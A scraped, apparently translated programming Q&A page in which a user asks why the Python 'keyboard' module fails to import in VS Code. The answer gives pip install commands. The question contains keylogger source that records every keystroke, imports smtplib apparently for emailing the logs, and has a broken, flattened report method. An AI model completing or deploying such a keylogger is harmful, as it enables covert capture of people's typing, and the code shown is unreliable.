python - 使用 python 和 VS Code 在“键盘”上导入错误
问题描述
我无法弄清楚为什么我的“键盘”无法在 VS Code 中导入。我在 CMD 中安装了“pip3 install keyboard”,它安装没有错误。然后我用 VS 代码打开了一个新项目,在编写了这段代码并修复了所有错误之后,它现在告诉我的键盘无法导入。这是代码
import keyboard #does the keylogs
import smtplib
from threading import Semaphore, Timer
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.semaphore = Semaphore(0)
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[Enter]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def report(self):
if self.log:
self = open("E:\\downloads\\onjab.txt")
self.log
Timer(interval=self.interval, function=self.report).start()
def start(self):
keyboard.on_release(callback=self.callback)
self.report()
self.semaphore.acquire()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
keylogger.start()
谁能帮我解决导入错误?我必须添加另一行以确保存在依赖关系吗?
解决方案
我只是尝试keyboard
使用您问题中的命令进行安装,它实际上什么也没返回。尝试使用以下命令之一:
pip install keyboard
python -m pip install keyboard
推荐阅读
- javascript - Define interface by an array of values
- django - 在 Django 应用程序中的服务器启动期间将数据加载到内存中
- go - Golang fill slice in function not working
- django - 没有模型的django rest框架defaultRouter
- api - Salesforce 集成用户最佳实践
- javascript - 通过 Ajax 更新的 PayPal 智能按钮
- hadoop - 我如何启动 ambari hortonworks 服务?
- python - Python/BeautifulSoup - 如何将 html 代码分配给变量
- spring - 如何根据异常更改spring重试模板固定退避策略
- javascript - console.log 不显示类创建的函数